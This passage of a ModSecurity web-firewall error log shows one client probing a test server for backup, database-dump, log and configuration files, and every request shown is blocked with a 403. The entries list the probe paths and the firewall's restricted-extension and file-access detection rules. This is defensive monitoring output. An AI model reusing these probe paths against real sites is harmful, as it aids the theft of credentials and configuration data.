&quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/backup.sql&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFhQAAAAg&quot;]
[Sun Mar 22 01:06:19.243148 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/backup.sql&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFhQAAAAg&quot;]
[Sun Mar 22 01:06:19.243310 2026] [:error] [pid 2857388] [client 185.177.72.38:49246] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/backup.sql&quot;] [unique_id &quot;ab8ye7vc1sKRk16HHKMFhQAAAAg&quot;]
[Sun Mar 22 01:06:19.447143 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.php.bak&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViVwAAAAc&quot;]
[Sun Mar 22 01:06:19.447566 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.php.bak&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViVwAAAAc&quot;]
[Sun Mar 22 01:06:19.447718 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.php.bak&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViVwAAAAc&quot;]
[Sun Mar 22 01:06:19.469668 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViWAAAAAc&quot;]
[Sun Mar 22 01:06:19.469877 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViWAAAAAc&quot;]
[Sun Mar 22 01:06:19.470026 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViWAAAAAc&quot;]
[Sun Mar 22 01:06:19.536722 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/db.sql&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViWwAAAAc&quot;]
[Sun Mar 22 01:06:19.537111 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/db.sql&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViWwAAAAc&quot;]
[Sun Mar 22 01:06:19.537268 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/db.sql&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViWwAAAAc&quot;]
[Sun Mar 22 01:06:19.581346 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/debug.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViXQAAAAc&quot;]
[Sun Mar 22 01:06:19.581781 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/debug.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViXQAAAAc&quot;]
[Sun Mar 22 01:06:19.581915 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/debug.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViXQAAAAc&quot;]
[Sun Mar 22 01:06:19.648754 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/dump.sql&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViYAAAAAc&quot;]
[Sun Mar 22 01:06:19.649169 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/dump.sql&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViYAAAAAc&quot;]
[Sun Mar 22 01:06:19.649343 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/dump.sql&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViYAAAAAc&quot;]
[Sun Mar 22 01:06:19.693609 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/error.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViYgAAAAc&quot;]
[Sun Mar 22 01:06:19.694000 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/error.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViYgAAAAc&quot;]
[Sun Mar 22 01:06:19.694134 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/error.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViYgAAAAc&quot;]
[Sun Mar 22 01:06:19.783744 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/logs/error.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViZgAAAAc&quot;]
[Sun Mar 22 01:06:19.784128 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/logs/error.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViZgAAAAc&quot;]
[Sun Mar 22 01:06:19.784257 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/logs/error.log&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xViZgAAAAc&quot;]
[Sun Mar 22 01:06:19.918325 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xVibAAAAAc&quot;]
[Sun Mar 22 01:06:19.918549 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xVibAAAAAc&quot;]
[Sun Mar 22 01:06:19.918679 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;ab8ye79QSbN48bnz2xVibAAAAAc&quot;]
[Sun Mar 22 01:06:20.143455 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.conf&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVidgAAAAc&quot;]
[Sun Mar 22 01:06:20.143854 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.conf&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVidgAAAAc&quot;]
[Sun Mar 22 01:06:20.144008 2026] [:error] [pid 2857387] [client 185.177.72.38:49262] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/site.conf&quot;] [unique_id &quot;ab8yfL9QSbN48bnz2xVidgAAAAc&quot;]
